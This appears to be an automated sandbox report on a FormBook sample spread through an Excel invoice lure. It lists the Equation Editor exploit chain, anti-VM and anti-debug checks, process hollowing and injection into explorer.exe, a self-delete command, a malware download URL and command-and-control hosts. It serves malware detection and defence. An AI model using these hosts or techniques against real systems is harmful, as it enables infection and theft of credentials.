Source: explorer.exe, 00000006.00000000.2181278675.00000000041AD000.00000004.00000001.sdmp	Binary or memory string: IDE\CDROMNECVMWAR_VMWARE_SATA_CD01_______________1.00____\6&373888B8&0&1.0.0
Source: vbc.exe, 00000004.00000002.2165883965.0000000002301000.00000004.00000001.sdmp	Binary or memory string: VMware SVGA II
Source: explorer.exe, 00000006.00000000.2169437204.0000000000231000.00000004.00000020.sdmp	Binary or memory string: IDE\CDROMNECVMWAR_VMWARE_SATA_CD01_______________1.00____\6&373888B8&0&1.0.0&E}
Source: vbc.exe, 00000004.00000002.2165883965.0000000002301000.00000004.00000001.sdmp	Binary or memory string: VMWAREDSOFTWARE\VMware, Inc.\VMware Tools

Source: C:\Users\Public\vbc.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging:

Source: C:\Users\Public\vbc.exe	Process queried: DebugPort			Jump to behavior
Source: C:\Windows\SysWOW64\help.exe	Process queried: DebugPort			Jump to behavior

Source: C:\Users\Public\vbc.exe

Code function: 5_2_004088B0 rdtsc

5_2_004088B0

Source: C:\Users\Public\vbc.exe

Code function: 5_2_00409B20 LdrLoadDll,

5_2_00409B20

Source: C:\Users\Public\vbc.exe	Code function: 5_2_00B526F8 mov eax, dword ptr fs:[00000030h]	5_2_00B526F8
Source: C:\Windows\SysWOW64\help.exe	Code function: 7_2_00950080 mov ecx, dword ptr fs:[00000030h]	7_2_00950080
Source: C:\Windows\SysWOW64\help.exe	Code function: 7_2_009500EA mov eax, dword ptr fs:[00000030h]	7_2_009500EA
Source: C:\Windows\SysWOW64\help.exe	Code function: 7_2_009726F8 mov eax, dword ptr fs:[00000030h]	7_2_009726F8

Source: C:\Users\Public\vbc.exe	Process token adjusted: Debug			Jump to behavior
Source: C:\Windows\SysWOW64\help.exe	Process token adjusted: Debug			Jump to behavior

Source: C:\Users\Public\vbc.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion:

System process connects to network (likely due to code injection or exploit)

Show sources

Source: C:\Windows\explorer.exe	Network Connect: 154.196.151.25 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 166.62.29.42 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 192.185.35.76 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 44.240.171.172 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 208.91.197.91 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 34.102.136.180 80	Jump to behavior

Injects a PE file into a foreign processes

Show sources

Source: C:\Users\Public\vbc.exe

Memory written: C:\Users\Public\vbc.exe base: 400000 value starts with: 4D5A

Jump to behavior

Maps a DLL or memory area into another process

Show sources

Source: C:\Users\Public\vbc.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read and write	Jump to behavior
Source: C:\Users\Public\vbc.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read and write	Jump to behavior
Source: C:\Users\Public\vbc.exe	Section loaded: unknown target: C:\Windows\SysWOW64\help.exe protection: execute and read and write	Jump to behavior
Source: C:\Users\Public\vbc.exe	Section loaded: unknown target: C:\Windows\SysWOW64\help.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\help.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: read write	Jump to behavior
Source: C:\Windows\SysWOW64\help.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read and write	Jump to behavior

Modifies the context of a thread in another process (thread injection)

Show sources

Source: C:\Users\Public\vbc.exe	Thread register set: target process: 1388	Jump to behavior
Source: C:\Users\Public\vbc.exe	Thread register set: target process: 1388	Jump to behavior
Source: C:\Windows\SysWOW64\help.exe	Thread register set: target process: 1388	Jump to behavior

Queues an APC in another process (thread injection)

Show sources

Source: C:\Users\Public\vbc.exe

Thread APC queued: target process: C:\Windows\explorer.exe

Jump to behavior

Sample uses process hollowing technique

Show sources

Source: C:\Users\Public\vbc.exe

Section unmapped: C:\Windows\SysWOW64\help.exe base address: ED0000

Jump to behavior

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process created: C:\Users\Public\vbc.exe 'C:\Users\Public\vbc.exe'	Jump to behavior
Source: C:\Users\Public\vbc.exe	Process created: C:\Users\Public\vbc.exe C:\Users\Public\vbc.exe	Jump to behavior
Source: C:\Windows\SysWOW64\help.exe	Process created: C:\Windows\SysWOW64\cmd.exe /c del 'C:\Users\Public\vbc.exe'	Jump to behavior

Source: explorer.exe, 00000006.00000000.2169698858.00000000006F0000.00000002.00000001.sdmp, help.exe, 00000007.00000002.2376494354.0000000002F60000.00000002.00000001.sdmp	Binary or memory string: Program Manager
Source: explorer.exe, 00000006.00000000.2169698858.00000000006F0000.00000002.00000001.sdmp, help.exe, 00000007.00000002.2376494354.0000000002F60000.00000002.00000001.sdmp	Binary or memory string: Shell_TrayWnd
Source: explorer.exe, 00000006.00000000.2169394323.00000000001F5000.00000004.00000020.sdmp	Binary or memory string: Progman
Source: explorer.exe, 00000006.00000000.2169698858.00000000006F0000.00000002.00000001.sdmp, help.exe, 00000007.00000002.2376494354.0000000002F60000.00000002.00000001.sdmp	Binary or memory string: !Progman

Language, Device and Operating System Detection:

Source: C:\Users\Public\vbc.exe	Queries volume information: C:\Users\Public\vbc.exe VolumeInformation			Jump to behavior
Source: C:\Users\Public\vbc.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation			Jump to behavior

Source: C:\Users\Public\vbc.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information:

Yara detected FormBook

Show sources

Source: Yara match	File source: 00000005.00000002.2218235916.00000000001F0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2218311056.0000000000330000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.2375584892.00000000003C0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2218333156.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.2375310907.0000000000150000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2166013985.0000000003308000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.2375232552.0000000000080000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 5.2.vbc.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.vbc.exe.400000.1.raw.unpack, type: UNPACKEDPE

Remote Access Functionality:

Yara detected FormBook

Show sources

Source: Yara match	File source: 00000005.00000002.2218235916.00000000001F0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2218311056.0000000000330000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.2375584892.00000000003C0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2218333156.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.2375310907.0000000000150000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2166013985.0000000003308000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.2375232552.0000000000080000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 5.2.vbc.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.vbc.exe.400000.1.raw.unpack, type: UNPACKEDPE

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	Shared Modules1	Path Interception	Process Injection612	Masquerading111	OS Credential Dumping	Security Software Discovery221	Remote Services	Archive Collected Data1	Exfiltration Over Other Network Medium	Encrypted Channel1	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Exploitation for Client Execution13	Boot or Logon Initialization Scripts	Extra Window Memory Injection1	Virtualization/Sandbox Evasion3	LSASS Memory	Virtualization/Sandbox Evasion3	Remote Desktop Protocol	Data from Removable Media	Exfiltration Over Bluetooth	Ingress Tool Transfer14	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	Logon Script (Windows)	Disable or Modify Tools11	Security Account Manager	Process Discovery2	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	Non-Application Layer Protocol3	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	Process Injection612	NTDS	Remote System Discovery1	Distributed Component Object Model	Input Capture	Scheduled Transfer	Application Layer Protocol23	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	Deobfuscate/Decode Files or Information1	LSA Secrets	File and Directory Discovery1	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	Obfuscated Files or Information41	Cached Domain Credentials	System Information Discovery113	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	Software Packing3	DCSync	Network Sniffing	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	Extra Window Memory Injection1	Proc Filesystem	Network Service Scanning	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
0113 INV_PAK.xlsx	22%	ReversingLabs	Document-Office.Exploit.Heuristic

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\svchost[1].exe	100%	Joe Sandbox ML
C:\Users\Public\vbc.exe	100%	Joe Sandbox ML

Unpacked PE Files

Source	Detection	Scanner	Label	Link	Download
5.2.vbc.exe.400000.1.unpack	100%	Avira	TR/Crypt.ZPACK.Gen		Download File

Domains

Source	Detection	Scanner	Label	Link
inreachpt.com	0%	Virustotal		Browse
sndychnesqudusissnvx.dns.army	4%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label
http://www.mercadolivre.com.br/	0%	URL Reputation	safe
http://www.mercadolivre.com.br/	0%	URL Reputation	safe
http://www.mercadolivre.com.br/	0%	URL Reputation	safe
http://www.merlin.com.pl/favicon.ico	0%	URL Reputation	safe
http://www.merlin.com.pl/favicon.ico	0%	URL Reputation	safe
http://www.merlin.com.pl/favicon.ico	0%	URL Reputation	safe
http://www.dailymail.co.uk/	0%	URL Reputation	safe
http://www.dailymail.co.uk/	0%	URL Reputation	safe
http://www.dailymail.co.uk/	0%	URL Reputation	safe
http://www.iis.fhg.de/audioPA	0%	URL Reputation	safe
http://www.iis.fhg.de/audioPA	0%	URL Reputation	safe
http://www.iis.fhg.de/audioPA	0%	URL Reputation	safe
http://sndychnesqudusissnvx.dns.army/documengt/svchost.exe	100%	Avira URL Cloud	malware
http://image.excite.co.jp/jp/favicon/lep.ico	0%	URL Reputation	safe
http://image.excite.co.jp/jp/favicon/lep.ico	0%	URL Reputation	safe
http://image.excite.co.jp/jp/favicon/lep.ico	0%	URL Reputation	safe
http://%s.com	0%	URL Reputation	safe
http://%s.com	0%	URL Reputation	safe
http://%s.com	0%	URL Reputation	safe
http://busca.igbusca.com.br//app/static/images/favicon.ico	0%	URL Reputation	safe
http://busca.igbusca.com.br//app/static/images/favicon.ico	0%	URL Reputation	safe
http://busca.igbusca.com.br//app/static/images/favicon.ico	0%	URL Reputation	safe
http://www.etmall.com.tw/favicon.ico	0%	URL Reputation	safe
http://www.etmall.com.tw/favicon.ico	0%	URL Reputation	safe
http://www.etmall.com.tw/favicon.ico	0%	URL Reputation	safe
http://it.search.dada.net/favicon.ico	0%	URL Reputation	safe
http://it.search.dada.net/favicon.ico	0%	URL Reputation	safe
http://it.search.dada.net/favicon.ico	0%	URL Reputation	safe
http://search.hanafos.com/favicon.ico	0%	URL Reputation	safe
http://search.hanafos.com/favicon.ico	0%	URL Reputation	safe
http://search.hanafos.com/favicon.ico	0%	URL Reputation	safe
http://cgi.search.biglobe.ne.jp/favicon.ico	0%	Avira URL Cloud	safe
http://www.abril.com.br/favicon.ico	0%	URL Reputation	safe
http://www.abril.com.br/favicon.ico	0%	URL Reputation	safe
http://www.abril.com.br/favicon.ico	0%	URL Reputation	safe
http://search.msn.co.jp/results.aspx?q=	0%	URL Reputation	safe
http://search.msn.co.jp/results.aspx?q=	0%	URL Reputation	safe
http://search.msn.co.jp/results.aspx?q=	0%	URL Reputation	safe
http://buscar.ozu.es/	0%	Avira URL Cloud	safe
http://busca.igbusca.com.br/	0%	URL Reputation	safe
http://busca.igbusca.com.br/	0%	URL Reputation	safe
http://busca.igbusca.com.br/	0%	URL Reputation	safe
http://search.auction.co.kr/	0%	URL Reputation	safe
http://search.auction.co.kr/	0%	URL Reputation	safe
http://search.auction.co.kr/	0%	URL Reputation	safe
http://busca.buscape.com.br/favicon.ico	0%	URL Reputation	safe
http://busca.buscape.com.br/favicon.ico	0%	URL Reputation	safe
http://busca.buscape.com.br/favicon.ico	0%	URL Reputation	safe
http://www.pchome.com.tw/favicon.ico	0%	URL Reputation	safe
http://www.pchome.com.tw/favicon.ico	0%	URL Reputation	safe
http://www.pchome.com.tw/favicon.ico	0%	URL Reputation	safe
http://browse.guardian.co.uk/favicon.ico	0%	URL Reputation	safe
http://browse.guardian.co.uk/favicon.ico	0%	URL Reputation	safe
http://browse.guardian.co.uk/favicon.ico	0%	URL Reputation	safe
http://google.pchome.com.tw/	0%	URL Reputation	safe
http://google.pchome.com.tw/	0%	URL Reputation	safe
http://google.pchome.com.tw/	0%	URL Reputation	safe
http://www.ozu.es/favicon.ico	0%	Avira URL Cloud	safe
http://search.yahoo.co.jp/favicon.ico	0%	URL Reputation	safe
http://search.yahoo.co.jp/favicon.ico	0%	URL Reputation	safe
http://search.yahoo.co.jp/favicon.ico	0%	URL Reputation	safe
http://www.gmarket.co.kr/	0%	URL Reputation	safe
http://www.gmarket.co.kr/	0%	URL Reputation	safe
http://www.gmarket.co.kr/	0%	URL Reputation	safe
http://searchresults.news.com.au/	0%	URL Reputation	safe
http://searchresults.news.com.au/	0%	URL Reputation	safe
http://searchresults.news.com.au/	0%	URL Reputation	safe
http://www.asharqalawsat.com/	0%	URL Reputation	safe
http://www.asharqalawsat.com/	0%	URL Reputation	safe
http://www.asharqalawsat.com/	0%	URL Reputation	safe
http://search.yahoo.co.jp	0%	URL Reputation	safe
http://search.yahoo.co.jp	0%	URL Reputation	safe
http://search.yahoo.co.jp	0%	URL Reputation	safe
http://buscador.terra.es/	0%	URL Reputation	safe
http://buscador.terra.es/	0%	URL Reputation	safe
http://buscador.terra.es/	0%	URL Reputation	safe
http://search.orange.co.uk/favicon.ico	0%	URL Reputation	safe
http://search.orange.co.uk/favicon.ico	0%	URL Reputation	safe
http://search.orange.co.uk/favicon.ico	0%	URL Reputation	safe
http://www.iask.com/	0%	URL Reputation	safe
http://www.iask.com/	0%	URL Reputation	safe
http://www.iask.com/	0%	URL Reputation	safe
http://cgi.search.biglobe.ne.jp/	0%	Avira URL Cloud	safe
http://search.ipop.co.kr/favicon.ico	0%	URL Reputation	safe
http://search.ipop.co.kr/favicon.ico	0%	URL Reputation	safe
http://search.ipop.co.kr/favicon.ico	0%	URL Reputation	safe
http://p.zhongsou.com/favicon.ico	0%	Avira URL Cloud	safe
http://service2.bfast.com/	0%	URL Reputation	safe
http://service2.bfast.com/	0%	URL Reputation	safe
http://service2.bfast.com/	0%	URL Reputation	safe
http://www.%s.comPA	0%	URL Reputation	safe
http://www.%s.comPA	0%	URL Reputation	safe
http://www.%s.comPA	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
www.athleteshive.com	208.91.197.91	true	true		unknown
inreachpt.com	34.102.136.180	true	true	0%, Virustotal, Browse	unknown
trijjadigital.com	166.62.29.42	true	true		unknown
sndychnesqudusissnvx.dns.army	103.141.138.125	true	true	4%, Virustotal, Browse	unknown
mtk-lb-1470093426.us-west-2.elb.amazonaws.com	44.240.171.172	true	false		high
shuhan.design	192.185.35.76	true	true		unknown
www.rentfs.com	154.196.151.25	true	true		unknown
www.calusaptamiami.com	unknown	unknown	true		unknown
www.trijjadigital.com	unknown	unknown	true		unknown
www.shuhan.design	unknown	unknown	true		unknown
www.inreachpt.com	unknown	unknown	true		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://sndychnesqudusissnvx.dns.army/documengt/svchost.exe	true	Avira URL Cloud: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://search.chol.com/favicon.ico	explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	false		high
http://www.mercadolivre.com.br/	explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.merlin.com.pl/favicon.ico	explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://search.ebay.de/	explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	false		high
http://www.mtv.com/	explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	false		high
http://www.rambler.ru/	explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	false		high
http://www.nifty.com/favicon.ico	explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	false		high
http://www.dailymail.co.uk/	explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www3.fnac.com/favicon.ico	explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	false		high
http://buscar.ya.com/	explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	false		high
http://search.yahoo.com/favicon.ico	explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	false		high
http://www.iis.fhg.de/audioPA	explorer.exe, 00000006.00000000.2182699706.0000000004B50000.00000002.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.sogou.com/favicon.ico	explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	false		high
http://asp.usatoday.com/	explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	false		high
http://fr.search.yahoo.com/	explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	false		high
http://rover.ebay.com	explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	false		high
http://in.search.yahoo.com/	explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	false		high
http://img.shopzilla.com/shopzilla/shopzilla.ico	explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	false		high
http://search.ebay.in/	explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	false		high
http://image.excite.co.jp/jp/favicon/lep.ico	explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://%s.com	explorer.exe, 00000006.00000000.2194341895.000000000A330000.00000008.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	low
http://msk.afisha.ru/	explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	vbc.exe, 00000004.00000002.2165883965.0000000002301000.00000004.00000001.sdmp	false		high
http://busca.igbusca.com.br//app/static/images/favicon.ico	explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://search.rediff.com/	explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	false		high
http://www.windows.com/pctv.	explorer.exe, 00000006.00000000.2180707596.0000000003C40000.00000002.00000001.sdmp	false		high
http://www.ya.com/favicon.ico	explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	false		high
http://www.etmall.com.tw/favicon.ico	explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://it.search.dada.net/favicon.ico	explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://search.naver.com/	explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	false		high
http://www.google.ru/	explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	false		high
http://search.hanafos.com/favicon.ico	explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://cgi.search.biglobe.ne.jp/favicon.ico	explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://www.abril.com.br/favicon.ico	explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://search.daum.net/	explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	false		high
http://search.naver.com/favicon.ico	explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	false		high
http://search.msn.co.jp/results.aspx?q=	explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.clarin.com/favicon.ico	explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	false		high
http://buscar.ozu.es/	explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://kr.search.yahoo.com/	explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	false		high
http://search.about.com/	explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	false		high
http://busca.igbusca.com.br/	explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.microsofttranslator.com/BVPrev.aspx?ref=IE8Activity	explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	false		high
http://www.ask.com/	explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	false		high
http://www.priceminister.com/favicon.ico	explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	false		high
http://www.cjmall.com/	explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	false		high
http://search.centrum.cz/	explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	false		high
http://suche.t-online.de/	explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	false		high
http://www.google.it/	explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	false		high
http://search.auction.co.kr/	explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.ceneo.pl/	explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	false		high
http://www.amazon.de/	explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	false		high
http://www.piriform.com/ccleanerhttp://www.piriform.com/ccleanerv	explorer.exe, 00000006.00000000.2189266307.000000000856E000.00000004.00000001.sdmp	false		high
http://sads.myspace.com/	explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	false		high
http://busca.buscape.com.br/favicon.ico	explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.pchome.com.tw/favicon.ico	explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://browse.guardian.co.uk/favicon.ico	explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://google.pchome.com.tw/	explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://list.taobao.com/browse/search_visual.htm?n=15&q=	explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	false		high
http://www.rambler.ru/favicon.ico	explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	false		high
http://uk.search.yahoo.com/	explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	false		high
http://espanol.search.yahoo.com/	explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	false		high
http://www.ozu.es/favicon.ico	explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://search.sify.com/	explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	false		high
http://openimage.interpark.com/interpark.ico	explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	false		high
http://search.yahoo.co.jp/favicon.ico	explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://search.ebay.com/	explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	false		high
http://www.gmarket.co.kr/	explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://search.nifty.com/	explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	false		high
http://searchresults.news.com.au/	explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.google.si/	explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	false		high
http://www.google.cz/	explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	false		high
http://www.soso.com/	explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	false		high
http://www.univision.com/	explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	false		high
http://search.ebay.it/	explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	false		high
http://images.joins.com/ui_c/fvc_joins.ico	explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	false		high
http://www.asharqalawsat.com/	explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://busca.orange.es/	explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	false		high
http://cnweb.search.live.com/results.aspx?q=	explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	false		high
http://auto.search.msn.com/response.asp?MT=	explorer.exe, 00000006.00000000.2194341895.000000000A330000.00000008.00000001.sdmp	false		high
http://search.yahoo.co.jp	explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.target.com/	explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	false		high
http://buscador.terra.es/	explorer.exe, 00000006.00000000.2194437832.000000000A3E9000.00000008.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
